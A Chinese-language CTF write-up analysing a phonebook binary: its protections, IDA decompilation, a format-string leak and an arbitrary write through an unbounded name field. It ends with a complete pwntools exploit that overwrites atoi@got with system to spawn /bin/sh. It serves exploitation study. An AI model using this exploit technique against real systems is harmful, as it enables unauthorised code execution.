1.进行查壳
栈保护,三个保护都开了
NX保护
NX保护在Windows中也被成为称为DEP,是通过现代操作系统的内存单元(Memory Protect Unit ,MPU)机制对程序内存页的粒度进行权限设置,其基本规则为可写权限与可执行权限互斥
因此,在开启NX保护的程序中不能直接使用shellcode执行任意代码
所有可以被修改写入shellcode内存都不可执行,所有可以执行的代码数据都是不可被修改的
GCC默认可开启NX保护,关闭方法在编译时加入“-z exestack”参数
Stack Canary
此保护是针对于栈溢出攻击设计的一种保护机制。由于栈溢出攻击的主要目标通过溢出覆盖函数栈高位的返回地址,因此其思路是在函数开始执行前,即在返回地地址前写入一个字长的随机数据,在函数返回前校验该值是否被改变,如果被改变,则认为是发生了栈溢出。程序回直接终止
GCC默认使用Stack Canary 保护,关闭方法是在编译时加入“-fno-stack-protector”
ASLR
Address Space Layout Randomization
ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化,这些地址之间是不可读写执行的为映射内存,降低攻击者对程序内存结构的了解
这样,即使攻击者布置了shellcode并可以控制跳转,由于内存地址结构未知,依然无法执行shellcode
ASLR是系统等级的保护机制,关闭方式是修改/proc/sys/kernel/randmize_ va _ space文件的额内容为0
PIE
与ASLR保护十分类似,PIE保护的目的是让可执行程序ELF的地址进行随机化加载,从而使得程序的内存结构对攻击者完全未知,进一步提高程序的安全性
GCC编译开启PIE的方法为添加参数“ -fpic -pie"
新版本”- no -pie” 进行关闭
Full Relro
Full Relro保护与Linux下的Lazy Binding机制有关,其主要作用是禁止 .GOT.PLT表和其他一些相关内存的读写,从而阻止攻击者通过写 .GOT.PLT 表来进行攻击利用的手段
GCC开启Full Relro的方法是添加参数“-z relro”
同时我们运行程序看看
操作一下根据提示,应该是录入人员的信息
2.IDA进行分析
主函数进行分析
sub_B56
sub_C32
这里就是我们程序运行的主要界面
最后返回atoi返回指令进行下一步
sub_1003
sub_10EB
sub_CCE
上面每个函数有个奇怪的东西为啥都有_readfsqword(0x28u)???
这就是栈的保护,以sub_CEE函数为例,在汇编层面我们看看
sub_E13
还有个发现
在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]所指向的地址处
通过前面的分析,我们知道qword_2020F8[4*0]地址位于索引为0的用户通讯录记录name字段后紧邻位置
并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入
控制qword_2020F8[0]所指向的地址值,进而向该地址输入数据
即可以向任意地址写入数据。这是解这道题时比较巧妙的地方
3.解题
过调试分析和格式化字符串漏洞将栈上有关数据溢出
进而计算出程序加载基址和动态链接库中函数地址
进一步算出动态链接库加载基址
然后可以获得system地址和函数atoi@got地址
通过修改函数got表地址为system地址
使程序在调用该函数时调用system(“/bin/sh”)进而获得系统shell
程序的基址从上面这个地方开始
进入输出的print函数中
说实话这里没有搞懂为什么断点,格式化字符串要找的参数这样看
即通过格式化字符串漏洞泄露(%13 $ p%9$p)出第13个参数和第9个参数的值,
前者减240为__libc_start_main函数地址,后者减0x1274为程序加载基址
from pwn import *
elf = ELF('')
libc = ELF('libc-2.23.so')
sh = remote('',)
def Add(phone,name,size,info):
sh.sendlineafter('choice>>','1')
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('size:',size)
sh.sendlineafter('info:',info)
def Edit(index,phone,name,info):
sh.sendlineafter('choice>>','4')
sh.sendlineafter('index:',index)
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('info:',info)
def Show(index):
sh.sendlineafter('choice>>','3')
sh.sendlineafter('index:',index)
# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())